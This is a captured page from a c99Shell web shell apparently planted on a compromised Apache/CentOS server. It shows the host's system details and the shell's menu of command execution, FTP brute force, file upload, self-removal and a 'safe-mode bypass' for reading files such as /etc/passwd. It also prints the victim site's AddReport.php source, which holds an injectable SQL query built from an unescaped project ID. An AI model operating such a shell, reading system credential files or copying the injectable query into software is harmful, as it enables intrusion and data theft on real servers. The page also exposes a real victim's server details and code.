!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Plan_new/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddReport.php (5.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" ); 
        require_once(
"../includes/FunctionDB.php");
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
$Username $valid_user;
        
/**  Config Table for This Page  */
        
$myTable "qa_standard_tb";
        
$myTable2 "qa_data_tb";

/**  Query เพื่อหา Numrows ก่อน  */
 
$sql ="SELECT * FROM  qa_project_tb   WHERE  projectId='$projectId'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
    } 
# else
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<script language="javascript" src="../js/utilities.js"></script>
<script language="JavaScript" type="text/JavaScript">
<!--
  function browse()
{
pc.Filename.src = pc.Filename.value;
}
<!--

//-->
function chk(c){
if (c.checked){
document.all.Prob1.disabled=false;
document.all.Prob2.disabled=false;
document.all.Prob3.disabled=false;
document.all.Prob4.disabled=false;
}
else{
document.all.Problem.disabled=false;
}
}
</script>
<table width="560" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="560" height="249">
          <fieldset>
            <label>
              <form action="InsertReport.php" method="post" enctype="multipart/form-data" name="pc" id="pc">
                <table width="97%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#CCCCCC" style=" border:0px solid gray"size="12">
                  <tr bgcolor="#BFD0E6">
                    <td height="24" colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td colspan="3" align="left" bordercolor="#CCCCCC" bgcolor="#FFFFFF">ข้อเอกสาร : 
                    <input name="codeNo" type="text" id="codeNo" style="text-align:center" onkeypress="checkNumeric()" value="<?=$rs[codeNo];?>" size="5" /></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td colspan="3" bordercolor="#CCCCCC" bgcolor="#FFFFFF">รายการหลักฐาน</td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td width="14%" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td width="2%" bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td width="84%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"><label>
                      <textarea name="Report_name" cols="40" rows="3" id="Report_name"></textarea>
                     <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script>
                        <script src='../editor/quickB.js'></script>
                        <script src='../editor/tabedit.js'></script> </label></td>
                    
                  </tr>
                  <tr bordercolor="#99CCFF" bgcolor="#86ade2">
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bordercolor="#99CCFF" bgcolor="#86ade2">
                    <td colspan="3" bgcolor="#FFFFFF"><table width="78%" border="0" align="center" cellpadding="0" cellspacing="1" class="style1">
                        <tr>
                          <td width="74%"><div align="center">
                              <div align="center" class="style1">
                              โหลดเอกสาร <a>: 
                              <input name="Filename" type="file" id="Filename" onchange="browse()" size="25" />
                          </div></td>
                          <td width="26%">&nbsp;</td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#BFD0E6">
                    <td height="22" colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#BFD0E6">
                    <td height="28" colspan="3" bgcolor="#FFFFFF"><div align="center">
                      <div align="center">
                          <a href="#"></a>
                          <input type="submit" name="Submit" value="บันทึกข้อมูล" class="button" />
                         <input type="reset" name="Submit" value=" เริ่มใหม่ " class="button" />
                         <input type="button" name="Submit" value="ปิดหน้าต่าง" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit" />
                        <input name="Budget_Year" type="hidden" id="Budget_Year" value="<?=$Budget_Year ?>" />
                      </font>
                      <input name="ProjectId" type="hidden" id="ProjectId" value="<?=$ProjectId ;?>" />
                      <input name="Faculty_code" type="hidden" id="Faculty_code" value="<?=$Faculty_code ?>" />
                      </div>
                    </div></td>
                  </tr>
                </table>
              </form>
              
            </label>
        </fieldset>
    
      </font></td>
    </tr>
</table>
<?
$dbObj
->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0091 ]--